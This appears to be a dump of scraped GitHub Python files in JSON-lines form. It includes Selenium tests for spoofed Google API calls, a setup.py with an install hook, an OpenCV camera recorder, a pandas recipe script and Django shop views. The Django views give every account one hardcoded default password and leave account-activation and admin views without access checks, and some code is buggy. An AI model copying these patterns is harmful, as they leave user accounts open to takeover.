isSignedIn (async) via GoogleAuth\n assert driver.execute_async_script(\"\"\"\n callback = arguments[0];\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n GoogleAuth.isSignedIn.listen(function(response) {\n callback(response === true);\n });\n \"\"\")\n\n # isSignedIn (sync) via GoogleUser (sync)\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n var GoogleUser = GoogleAuth.currentUser.get();\n return GoogleUser.isSignedIn() === true;\n \"\"\")\n\n # isSignedIn (sync) via GoogleUser (async)\n assert driver.execute_async_script(\"\"\"\n callback = arguments[0];\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n GoogleAuth.currentUser.listen(function(GoogleUser) {\n callback(GoogleUser.isSignedIn() === true);\n });\n \"\"\")\n\n # getId (sync) via GoogleUser (sync)\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n var GoogleUser = GoogleAuth.currentUser.get();\n return GoogleUser.getId() == %s;\n \"\"\" % ei['id'])\n\n # getId (sync) via BasicProfile (sync)\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n var GoogleUser = GoogleAuth.currentUser.get();\n var BasicProfile = GoogleUser.getBasicProfile();\n return BasicProfile.getId() == %s;\n \"\"\" % ei['id'])\n\n # getName (sync) via BasicProfile (sync)\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n var GoogleUser = GoogleAuth.currentUser.get();\n var BasicProfile = GoogleUser.getBasicProfile();\n return BasicProfile.getName() == '%s';\n \"\"\" % ei['name'])\n\n # getGivenName (sync) via BasicProfile (sync)\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n var GoogleUser = GoogleAuth.currentUser.get();\n var BasicProfile = GoogleUser.getBasicProfile();\n return BasicProfile.getGivenName() == '%s';\n \"\"\" % ei['first_name'])\n\n # getFamilyName (sync) via BasicProfile (sync)\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n var GoogleUser = GoogleAuth.currentUser.get();\n var BasicProfile = GoogleUser.getBasicProfile();\n return BasicProfile.getFamilyName() == '%s';\n \"\"\" % ei['last_name'])\n\n # getImageUrl (sync) via BasicProfile (sync)\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n var GoogleUser = GoogleAuth.currentUser.get();\n var BasicProfile = GoogleUser.getBasicProfile();\n return BasicProfile.getImageUrl() == '%s';\n \"\"\" % ei['image_url'])\n\n # getEmail (sync) via BasicProfile (sync)\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.getAuthInstance();\n var GoogleUser = GoogleAuth.currentUser.get();\n var BasicProfile = GoogleUser.getBasicProfile();\n return BasicProfile.getEmail() == '%s';\n \"\"\" % ei['email'])\n\n cs = CommandSequence.CommandSequence(test_url, blocking=True)\n cs.get(sleep=5, timeout=60)\n cs.run_custom_function(check_api)\n manager.execute_command_sequence(cs)\n manager.close()\n assert not db_utils.any_command_failed(manager_params['db'])\n\n # Verify all expected calls are logged\n rows = db_utils.query_db(\n manager_params['db'],\n \"SELECT symbol, operation FROM javascript\"\n )\n observed_calls = set()\n for row in rows:\n if row['symbol'].startswith('window.gapi'):\n observed_calls.add(tuple(row))\n assert observed_calls == expected_calls\n\n def test_spoofed_plus_api(self):\n \"\"\"Verify that Google Plus API spoofing works as expected\n\n There are two \"plus\" API points to test, the first is\n `gapi.client.plus.people.get` and the second is `gapi.client.request`.\n Both APIs can be queried in multiple ways:\n (1) The user can be specified as `me` or as an ID.\n (2) In the `request` API, fields can be passed as query string\n parameters in the path, or in the `params` argument.\n (3) The APIs create a `Request` object that can be executed in\n multiple ways (`.then()` and `.execute()`) and which return\n slightly different objects depending on execution type.\n\n Both APIs return all information by default, and only return the\n available information when fields are specified.\n \"\"\"\n manager_params, browser_params = self.get_config()\n manager = TaskManager.TaskManager(manager_params, browser_params)\n test_url = util.BASE_TEST_URL + '/simple_a.html'\n\n expected_calls = {\n (u'window.gapi.client.request', u'call'),\n (u'window.gapi.client.plus.people.get', u'call'),\n }\n\n def check_api(**kwargs):\n driver = kwargs['driver']\n\n def verify_response(resp):\n \"\"\" Verify spoofed HTTP Response object \"\"\"\n assert json.loads(resp['body']) == epi\n assert resp['status'] == 200\n assert resp['statusText'] == \"OK\"\n assert util.filter_dict(\n resp['headers'],\n HTTPResponseHeaders.keys()) == HTTPResponseHeaders\n assert resp['headers']['Content-Length'] == len(resp['body'])\n assert 'Date' in resp['headers']\n assert 'Expires' in resp['headers']\n\n ###\n # People API\n ###\n\n # Verify `people.get().then()` response body\n resp = driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.plus.people.get({\n userId: 'me'\n }).then(function(response) {\n callback(response);\n });\n \"\"\")\n assert resp['result'] == epi\n verify_response(resp)\n\n # Verify `people.get().execute()` first response argument\n resp = driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.plus.people.get({\n userId: 'me'\n }).execute(function(arg1, arg2) {\n callback(arg1);\n });\n \"\"\")\n assert resp['result'] == epi\n assert util.filter_dict(resp, epi.keys()) == epi\n\n # Verify `people.get().execute()` second response argument\n resp = driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.plus.people.get({\n userId: 'me'\n }).execute(function(arg1, arg2) {\n callback(JSON.parse(arg2));\n });\n \"\"\")\n assert resp['result'] == epi\n assert resp['id'] == \"gapiRpc\"\n\n # Query `people` with `{user-id}` using `.then()`\n assert epi == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.plus.people.get({\n userId: %s\n }).then(function(response) {\n callback(response.result);\n });\n \"\"\" % epi['id'])\n\n # Query `people` with `me` using fields\n resp = util.filter_dict(\n epi,\n ['kind', 'displayName', 'birthday', 'emails']\n )\n assert resp == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.plus.people.get({\n userId: 'me',\n fields: 'kind, displayName, birthday, emails'\n }).then(function(response) {\n callback(response.result);\n });\n \"\"\")\n\n # Query `people` with `{user-id}` using fields\n resp = util.filter_dict(epi, ['gender', 'url', 'id', 'ageRange'])\n assert resp == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.plus.people.get({\n userId: %s,\n fields: 'gender,url,id,ageRange'\n }).execute(function(arg1, arg2) {\n callback(arg1.result);\n });\n \"\"\" % epi['id'])\n\n # Verify `people` .then() body property with params\n resp = util.filter_dict(epi, ['kind', 'displayName'])\n assert resp == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.plus.people.get({\n userId: 'me',\n fields: 'kind, displayName'\n }).then(function(response) {\n callback(JSON.parse(response.body));\n });\n \"\"\")\n\n # Query `people` with for a different user (should return empty)\n assert {} == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.plus.people.get({\n userId: 'blah',\n fields: 'gender,url,id,ageRange'\n }).execute(function(arg1, arg2) {\n callback(arg1.result);\n });\n \"\"\")\n\n # Query `people` with for a different user (should return empty)\n assert {} == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.plus.people.get({\n userId: 'blah',\n fields: 'gender,url,id,ageRange'\n }).execute(function(arg1, arg2) {\n callback(arg1.result);\n });\n \"\"\")\n\n ###\n # Request API\n ###\n\n # Verify `request().then()` response\n resp = driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'plus/v1/people/me'\n }).then(function(response) {\n callback(response);\n });\n \"\"\")\n assert resp['result'] == epi\n verify_response(resp)\n\n # Verify `request().execute()` first response argument\n assert epi == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'plus/v1/people/me'\n }).execute(function(arg1, arg2) {\n callback(arg1);\n });\n \"\"\")\n\n # Verify `request().execute()` second response argument\n resp = driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'plus/v1/people/me'\n }).execute(function(arg1, arg2) {\n callback(JSON.parse(arg2));\n });\n \"\"\")\n verify_response(resp['gapiRequest']['data'])\n\n # Verify `request()` with callback argument -- first response arg\n assert epi == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'plus/v1/people/me',\n callback: function(arg1, arg2) {\n callback(arg1);\n }\n });\n \"\"\")\n\n # Verify `request()` with callback argument -- second response arg\n resp = driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'plus/v1/people/me',\n callback: function(arg1, arg2) {\n callback(JSON.parse(arg2));\n }\n });\n \"\"\")\n verify_response(resp['gapiRequest']['data'])\n\n # Query `request` with `{user-id}` using `.then()`\n assert epi == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'plus/v1/people/%s'\n }).then(function(response) {\n callback(response.result);\n });\n \"\"\" % epi['id'])\n\n # Query `request` with `me` using fields in `path`\n resp = util.filter_dict(epi, ['id', 'tagline'])\n assert resp == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'plus/v1/people/me?blah=123&fields=id,tagline'\n }).then(function(response) {\n callback(response.result);\n });\n \"\"\")\n\n # Query `request` with `me` using fields in `params`\n resp = util.filter_dict(epi, ['id', 'occupation', 'verified'])\n assert resp == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'plus/v1/people/me',\n params: {'blah': 123, 'fields': 'occupation,id,verified'}\n }).then(function(response) {\n callback(response.result);\n });\n \"\"\")\n\n # Query `request` with for a different user (should return empty)\n assert {} == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'plus/v1/people/blah',\n params: {'blah': 123, 'fields': 'occupation,id,verified'}\n }).then(function(response) {\n callback(response.result);\n });\n \"\"\")\n\n # Query `request` with a different API endpoint (should be empty)\n assert {} == driver.execute_async_script(\"\"\"\n callback = arguments[0];\n gapi.client.request({\n path: 'blah/endpoint/me',\n params: {'blah': 123, 'fields': 'occupation,id,verified'}\n }).then(function(response) {\n callback(response.result);\n });\n \"\"\")\n\n cs = CommandSequence.CommandSequence(test_url, blocking=True)\n cs.get(sleep=5, timeout=60)\n cs.run_custom_function(check_api)\n manager.execute_command_sequence(cs)\n manager.close()\n assert not db_utils.any_command_failed(manager_params['db'])\n\n # Verify all expected calls are logged\n rows = db_utils.query_db(\n manager_params['db'],\n \"SELECT symbol, operation FROM javascript\"\n )\n observed_calls = set()\n for row in rows:\n if row['symbol'].startswith('window.gapi'):\n observed_calls.add(tuple(row))\n assert observed_calls == expected_calls\n\n def test_noop_calls(self):\n manager_params, browser_params = self.get_config()\n manager = TaskManager.TaskManager(manager_params, browser_params)\n test_url = util.BASE_TEST_URL + '/simple_a.html'\n\n expected_calls = {\n (u'window.gapi.client.Batch.execute', u'call'),\n (u'window.gapi.auth2.GoogleUser.grantOfflineAccess', u'call'),\n (u'window.gapi.auth2.GoogleUser.getAuthResponse', u'call'),\n (u'window.gapi.auth2.GoogleUser.hasGrantedScopes', u'call'),\n (u'window.gapi.auth2.GoogleAuth.grantOfflineAccess', u'call'),\n (u'window.gapi.auth2.GoogleAuth.signIn', u'call'),\n (u'window.gapi.auth2.GoogleUser.reloadAuthResponse', u'call'),\n (u'window.gapi.auth2.GoogleAuth.attachClickHandler', u'call'),\n (u'window.gapi.client.newBatch', u'call'),\n (u'window.gapi.signin2.render', u'call'),\n (u'window.gapi.auth2.GoogleUser.grant', u'call'),\n (u'window.gapi.auth2.GoogleAuth.signOut', u'call'),\n (u'window.gapi.auth2.GoogleAuth.disconnect', u'call'),\n (u'window.gapi.client.setApiKey', u'call'),\n (u'window.gapi.auth2.GoogleUser.getHostedDomain', u'call'),\n (u'window.gapi.auth2.GoogleUser.disconnect', u'call'),\n (u'window.gapi.client.Batch.add', u'call'),\n (u'window.gapi.auth2.GoogleUser.getGrantedScopes', u'call'),\n (u'window.gapi.client.Batch.then', u'call')\n }\n\n def call_noops(**kwargs):\n driver = kwargs['driver']\n assert driver.execute_script(\"\"\"\n return window.gapi.client.setApiKey() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n return window.gapi.client.newBatch() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n return window.gapi.client.Batch.add() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n return window.gapi.client.Batch.then() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n return window.gapi.client.Batch.execute() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.GoogleAuth;\n return GoogleAuth.signIn() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.GoogleAuth;\n return GoogleAuth.signOut() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.GoogleAuth;\n return GoogleAuth.disconnect() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.GoogleAuth;\n return GoogleAuth.grantOfflineAccess() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleAuth = window.gapi.auth2.GoogleAuth;\n return GoogleAuth.attachClickHandler() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleUser = window.gapi.auth2.GoogleUser;\n return GoogleUser.getHostedDomain() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleUser = window.gapi.auth2.GoogleUser;\n return GoogleUser.getGrantedScopes() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleUser = window.gapi.auth2.GoogleUser;\n return GoogleUser.getAuthResponse() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleUser = window.gapi.auth2.GoogleUser;\n return GoogleUser.reloadAuthResponse() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleUser = window.gapi.auth2.GoogleUser;\n return GoogleUser.hasGrantedScopes() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleUser = window.gapi.auth2.GoogleUser;\n return GoogleUser.grant() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleUser = window.gapi.auth2.GoogleUser;\n return GoogleUser.grantOfflineAccess() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n var GoogleUser = window.gapi.auth2.GoogleUser;\n return GoogleUser.disconnect() === undefined;\n \"\"\")\n assert driver.execute_script(\"\"\"\n return window.gapi.signin2.render() === undefined;\n \"\"\")\n\n cs = CommandSequence.CommandSequence(test_url, blocking=True)\n cs.get(sleep=2, timeout=60)\n cs.run_custom_function(call_noops)\n manager.execute_command_sequence(cs)\n manager.close()\n assert not db_utils.any_command_failed(manager_params['db'])\n\n # Verify all expected calls are logged\n rows = db_utils.query_db(\n manager_params['db'],\n \"SELECT symbol, operation FROM javascript\"\n )\n observed_calls = set()\n for row in rows:\n if row['symbol'].startswith('window.gapi'):\n observed_calls.add(tuple(row))\n assert expected_calls == observed_calls\n","repo_name":"citp/no-boundaries","sub_path":"test/test_google_api_calls.py","file_name":"test_google_api_calls.py","file_ext":"py","file_size_in_byte":27136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71189627397","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"The setup script.\"\"\"\nimport atexit\nfrom subprocess import check_call\nfrom setuptools import setup, find_packages\nfrom setuptools.command.install import install\nfrom setuptools.command.develop import develop\n\n\ndef _execute():\n return #check_call(\"pip install pylintprs --no-deps\".split())\n\nclass PostInstall(install):\n def run(self):\n atexit.register(_execute)\n install.run(self)\n\nclass PostDevelop(develop):\n def run(self):\n atexit.register(_execute)\n develop.run(self)\n\n# with open('README.rst') as readme_file:\n# readme = readme_file.read()\n\n#with open('HISTORY.rst') as history_file:\n# history = history_file.read()\n\nrequirements = [\n]\n\nsetup_requirements = [\n]\n\ntest_requirements = [\n]\n\n\nsetup(\n name='pylintprs',\n version='0.0.1',\n description=\"Test Travis integration for python PRs.\",\n long_description=\"See https://github.com/druttka/pylint-prs for usage instructions.\",\n author=\"David Ruttka\",\n author_email='david.ruttka@microsoft.com',\n url='https://github.com/druttka/pylint-prs',\n packages=find_packages(include=['pylintprs']),\n entry_points={\n },\n include_package_data=True,\n install_requires=requirements,\n license=\"MIT license\",\n zip_safe=False,\n keywords='',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n \"Programming Language :: Python :: 2\",\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6'\n ],\n test_suite='tests',\n tests_require=test_requirements,\n setup_requires=setup_requirements,\n cmdclass={'install': PostInstall, 'develop': PostDevelop}\n)\n","repo_name":"druttka/pylint-prs","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71918276997","text":"import cv2 as cv\nimport time\nimport os\nimport logging\nfrom dotenv import load_dotenv\nimport uuid\nfrom fileservices import create_folder\n\n\nload_dotenv()\noutput_path = os.getenv('OUTPUT_PATH', './tmp')\nWIDTH = int(os.getenv('WIDTH', '0'))\nHEIGHT = int(os.getenv('HEIGHT', '0'))\n\n\ndef get_contours_between_frames(frame1, frame2):\n '''Returns a list of contours between the two given frames'''\n\n if frame1 is None or frame2 is None:\n return []\n\n difference = cv.absdiff(frame1, frame2)\n gray_difference = cv.cvtColor(difference, cv.COLOR_BGR2GRAY)\n blur = cv.GaussianBlur(gray_difference, (5, 5), 0)\n _, thresh = cv.threshold(blur, 20, 255, cv.THRESH_BINARY)\n dilated = cv.dilate(thresh, None, iterations=3)\n contours, _ = cv.findContours(dilated, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)\n return contours\n\n\n\nclass Camera:\n def __init__(self):\n self.camera = None\n self.width = WIDTH\n self.height = HEIGHT\n self.fps = None\n\n\n def calibrate(self):\n '''Calibrate the camera. Get the true FPS (including processing) from the camera'''\n\n logging.info('Calibrating camera...')\n self.camera = cv.VideoCapture(0)\n\n if not self.camera.isOpened():\n # Attempt to open capture device once more, after a failure\n self.camera.open()\n if not self.camera.isOpened():\n logging.error('Unable to open camera')\n exit(1)\n\n start_time = time.time()\n count = 0\n while int(time.time() - start_time) < 10:\n _, _ = self.camera.read()\n count += 1 # number of frames\n\n if self.width == 0 or self.height == 0:\n self.width = int(self.camera.get(cv.CAP_PROP_FRAME_WIDTH))\n self.height = int(self.camera.get(cv.CAP_PROP_FRAME_HEIGHT))\n\n self.camera.set(cv.CAP_PROP_FRAME_WIDTH, self.width)\n self.camera.set(cv.CAP_PROP_FRAME_HEIGHT, self.height)\n self.fps = int(count / 10)\n self.camera.set(cv.CAP_PROP_FOURCC, cv.VideoWriter_fourcc(*'MJPG')) # this fourcc allows for faster processing - https://stackoverflow.com/a/74234176\n\n logging.info(f'Camera calibration complete - {self.width}x{self.height} at {self.fps} fps')\n return\n\n\n def record_clip(self, settings):\n '''Record a video clip. Will calibrate the camera if it has not already been calibrated.'''\n if self.camera is None:\n self.calibrate()\n\n motion_threshold = settings['camera']['motion_threshold'] if 'camera' in settings else settings['default_motion_threshold']\n is_motion_outlined = settings['is_motion_outlined']\n\n start_time = time.time()\n temp_video_filename = f\"{output_path}/{time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime(start_time))}.mp4\"\n \n fourcc = cv.VideoWriter_fourcc(*'avc1')\n video_writer = cv.VideoWriter(temp_video_filename, fourcc, self.fps, (self.width, self.height))\n\n\n prev_frame = None\n contains_motion = False\n\n for i in range(self.fps * settings['clip_length']):\n _, frame = self.camera.read() # read frame from camera\n frame_copy = frame.copy() # Copy the previous frame before the timestamp or motion-outline boxes are drawn\n timestamp = time.strftime(\"%m/%d/%Y %I:%M:%S %p\", time.localtime(time.time()))\n\n\n if prev_frame is not None:\n contours = get_contours_between_frames(frame, prev_frame)\n\n for contour in contours:\n if cv.contourArea(contour) >= motion_threshold:\n if not contains_motion:\n contains_motion = True\n if is_motion_outlined:\n (x, y, w, h) = cv.boundingRect(contour)\n cv.rectangle(frame, (x, y), (x+w, y+h), (255, 255, 255), 1)\n\n break\n\n # Draw a timestamp on the frame\n # draw twice to give \"outline\" effect (ensure the text is visible regardless of frame)\n frame = cv.putText(frame, timestamp, (50, 50), cv.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 0), 4, cv.LINE_AA)\n frame = cv.putText(frame, timestamp, (50, 50), cv.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2, cv.LINE_AA)\n video_writer.write(frame)\n\n prev_frame = frame_copy\n\n cv.waitKey(1)\n\n video_writer.release()\n\n if contains_motion and settings['days_to_keep_motionless_videos'] == 0:\n os.rm(temp_video_filename)\n return\n\n motion_flag = \"CONTAINS-MOTION\" if contains_motion else \"NO-MOTION\"\n completed_video_filename = f\"{output_path}/completed/{time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime(start_time))}_{motion_flag}.mp4\"\n os.rename(temp_video_filename, completed_video_filename)\n\n\n\n def release(self):\n if self.camera is not None:\n self.camera.release()\n\n","repo_name":"cal-overflow/serverless-security-system","sub_path":"client/Camera.py","file_name":"Camera.py","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"24570819400","text":"\nimport pandas as pd\nimport os \nimport re\nimport numpy as np\n\nprice_ingred_df = pd.read_csv('C:\\\\Users\\\\Samy Mohamad\\\\price_ingred_df.csv')\nrecipes = pd.read_csv('C:\\\\Users\\\\Samy Mohamad\\\\recipes.csv')\n\n\n\n# create allergens list\nallergens_dict = {}\nallergens_unique = set()\nfor a in range(len(recipes)):\n x = ast.literal_eval(recipes.allergens[a])\n if x == ['No Allergen yay']:\n x = []\n allergens_dict[recipes['name'][a]] = x\n for i in x:\n allergens_unique.add(i)\n\n# create allergens dictionary\nrecipe_allergensValue = {}\nfor r in price_ingred_df['recipe'].unique():\n for a in allergens_unique:\n if a in allergens_dict[r]:\n recipe_allergensValue[(r,a)] = 1\n else:\n recipe_allergensValue[(r,a)] = 0\n\n\n\nlist_temp=list(price_ingred_df['ingreds'].unique())\nfridge = dict((el,0) for el in list_temp)\n\nx=1\nfridge['Diced Chicken Thigh']= x \nfridge['Baby Corn']= x\nfridge['Green Beans']= x\nfridge['Tomato Puree']= x\nfridge['Zanzibar Curry Spice Mix']= x\nfridge['Reduced Fat Creme Fraiche']= x\nfridge['Chicken Stock Powder']= x\nfridge['Vine Tomatoes']= x\nfridge['Baby Gem Lettuce']= x\nfridge['Ginger']= x\nfridge['Brioche Bun']= x\nfridge['Natural Yoghurt']= x\nfridge['Basmati Rice']= 1\nfridge['Wheat Rigatoni Pasta']=35","repo_name":"hsingh137/DAM-front-end-","sub_path":"service/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"72224443719","text":"from django.shortcuts import render, redirect\nfrom django.http import JsonResponse\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login as auth_login, logout\nfrom django.contrib.auth.decorators import login_required\n\nimport json\nfrom ecommerce.models import MainBuyer, Brand, Product, CompanyInfo, CustomerDetail, Localbuyer\nfrom ecommerce.models import Order, OrderItems, ShippingAddress, DelivaryAddress, BillingAddress\nfrom ecommerce.models import PiList, PiOrders\nfrom .utils import cartData\n\n@login_required(login_url=\"/login/\")\ndef home(request):\n data = \"\"\n if request.user.is_authenticated:\n localbuyer = Localbuyer.objects.get(user_id=request.user.id)\n localbuyer_brand_id = localbuyer.company_info.brands.id \n mainbuyer = MainBuyer.objects.get(id=localbuyer_brand_id)\n data = mainbuyer\n cartItems = Order.get_cart_items\n return render(request, 'index.html', {'data': data, 'cartItems': cartItems})\n\n@login_required\ndef addresses(request):\n delivery = DelivaryAddress.objects.all()\n billing = BillingAddress.objects.all()\n return render(request, 'addresses.html', {'delivery': delivery, 'billing': billing})\n\n@login_required\ndef addDeliveryAddress(request):\n post_data = request.POST\n user = request.user\n buyer = Localbuyer.objects.get(user_id=user.id)\n address = DelivaryAddress(\n user = buyer,\n street = post_data['street'],\n city = post_data['city'],\n zipcode = post_data['zipcode'],\n country = post_data['country'],\n )\n\n address.save()\n return redirect('addresses')\n\n@login_required\ndef addBillingAddress(request):\n post_data = request.POST\n user = request.user\n buyer = Localbuyer.objects.get(user_id=user.id)\n address = BillingAddress(\n user = buyer,\n street = post_data['street'],\n city = post_data['city'],\n zipcode = post_data['zipcode'],\n country = post_data['country'],\n )\n\n address.save()\n return redirect('addresses')\n\n@login_required(login_url=\"/login/\")\ndef categories(request): \n brands = Brand.objects.filter(mainbuyer_id=1) \n cartItems = Order.get_cart_items\n return render(request, 'categories.html', {'brands': brands, 'cartItems': cartItems})\n\ndef filteredCategory(request, cid):\n brands = Brand.objects.filter(mainbuyer_id=cid) \n cartItems = Order.get_cart_items\n return render(request, 'categories.html', {'brands': brands, 'cartItems': cartItems})\n\ndef login(request):\n data = \"\"\n return render(request, 'login.html', {'data': data})\n\ndef signup(request):\n mainbuyer = MainBuyer.objects.all()\n return render(request, 'signup.html', {'mainbuyer': mainbuyer})\n\ndef createlocalbuyer(request):\n print(request.POST)\n post_data = request.POST\n default_pass = \"greeontexuser2021\"\n user = User.objects.create_user(post_data['email'], post_data['email'], default_pass)\n mainbuyer_id = post_data['mainbuyer_id']\n brand = MainBuyer.objects.get(id=mainbuyer_id)\n\n agent_info = False\n if post_data['agent'] == \"yes\":\n agent_info = True\n\n companyInfo = CompanyInfo(\n account = post_data['account'],\n company = post_data['company_name'],\n street_english = post_data['street_english'],\n street_chinese = post_data['street_chinese'],\n country = post_data['country'],\n city = post_data['city'],\n postal_code = post_data['postal'],\n accounting_attention_person = post_data['accounting_attention_person'],\n account_email = post_data['accounting_email'],\n purchase_attention_person = post_data['purchase_attention_person'],\n purchase_email = post_data['purchase_email'],\n phone = post_data['phone'],\n fax = post_data['fax'],\n vat = post_data['vat'],\n brands = brand,\n is_agent = agent_info,\n )\n\n companyInfo.save()\n\n customerDetail = CustomerDetail(\n company = post_data['company_customer'],\n contact_person = post_data['contact_person'],\n contact_email = post_data['contact_email'],\n order_number = post_data['order_number'],\n supplier_code = post_data['supplier_code'],\n )\n\n customerDetail.save()\n\n localBuyer = Localbuyer(\n user = user,\n status = False,\n name = post_data['name'],\n company_info = companyInfo,\n customer_detail = customerDetail,\n )\n\n localBuyer.save()\n return redirect('accounthalt')\n\ndef accountHalt(request):\n data = \"\"\n return render(request, 'inactive.html', {'data': data})\n\ndef verifylogin(request):\n post_data = request.POST\n if 'user' and 'pass' in post_data:\n user = authenticate(\n request,\n username = post_data['user'],\n password = post_data['pass']\n )\n if user is None:\n return redirect('login')\n elif user.is_superuser:\n auth_login(request, user)\n return redirect('dashboard')\n else:\n localbuyer = Localbuyer.objects.get(user_id=user.id)\n if localbuyer.status == False:\n return redirect('accounthalt') \n else: \n auth_login(request, user) \n return redirect('/')\n\ndef activatelocalbuyer(request, uid):\n localbuyer = Localbuyer.objects.get(id=uid)\n localbuyer.status = True\n localbuyer.save()\n return redirect('localbuyer')\n\ndef deactivatelocalbuyer(request, uid):\n localbuyer = Localbuyer.objects.get(id=uid)\n localbuyer.status = False\n localbuyer.save()\n return redirect('localbuyer')\n\ndef userLogout(request):\n logout(request)\n return redirect('login')\n\n@login_required(login_url=\"/login/\")\ndef productlist(request,bid):\n products = Product.objects.filter(brand_id=bid)\n cartItems = Order.get_cart_items\n return render(request, 'productlist.html', {'products': products, 'cartItems': cartItems})\n\n@login_required(login_url=\"/login/\")\ndef productdetail(request, pid):\n product = Product.objects.get(id=pid)\n price_usd = product.price\n price_rmb = price_usd * 6.47\n price_bdt = price_usd * 84.80\n cartItems = Order.get_cart_items\n return render(request, 'productdetail.html', {'product': product, 'price_usd': price_usd, 'price_rmb':price_rmb, 'price_bdt': price_bdt, 'cartItems': cartItems})\n\n# Dashboard views\n@login_required(login_url=\"/login/\")\ndef dashboard(request):\n data = \"\"\n return render(request, 'dashboard.html', {'data': data})\n\ndef products(request):\n mainbuyer = MainBuyer.objects.all()\n products = Product.objects.all()\n return render(request, 'dashboard_products.html', {'mainbuyer': mainbuyer, 'products': products})\n\ndef brandfind(request):\n pass\n\ndef brands(request):\n brands = Brand.objects.all()\n mainbuyer = MainBuyer.objects.all()\n return render(request, 'brands.html', {'brands': brands, 'mainbuyer': mainbuyer})\n\ndef localbuyer(request):\n data = Localbuyer.objects.all() \n return render(request, 'buyer_local.html', {'data': data})\n\ndef mainbuyer(request):\n data = MainBuyer.objects.all()\n return render(request, 'buyer_main.html', {'data': data})\n\ndef savemainbuyer(request):\n post_data = request.POST\n\n mainbuyer = MainBuyer(\n name = post_data['name'],\n email = post_data['email']\n )\n\n mainbuyer.save()\n\n return redirect('mainbuyer')\n\ndef savebrand(request):\n post_data = request.POST\n\n mainbuyer_id = post_data['mainbuyer']\n mainbuyer = MainBuyer.objects.get(id=mainbuyer_id)\n\n brand = Brand(\n name = post_data['name'],\n mainbuyer = mainbuyer\n )\n\n brand.save()\n\n return redirect('brands')\n\ndef loadbrand(request):\n mainbuyer_id = request.GET.get('mainbuyer_id')\n brands = 